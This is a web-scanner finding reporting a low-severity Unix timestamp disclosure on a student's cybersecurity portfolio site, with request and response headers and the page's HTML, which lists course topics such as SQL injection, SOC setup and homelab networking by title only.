modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 16894306Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 2000000000, which evaluates to: 2033-05-18 05:33:20
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O9CfHQgObVNEaGCeR54qKKwytECMmlM5H0bXWDqJpVGo4vNUT18M2ld9NoeIDxTsPe1bzHv%2F9eh3xB7p6KNQNXYdikH5v2vQoVZ4Lqr2%2BgmRM8bXQ1W95L9VnzmijHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a326098f0c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178339 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading 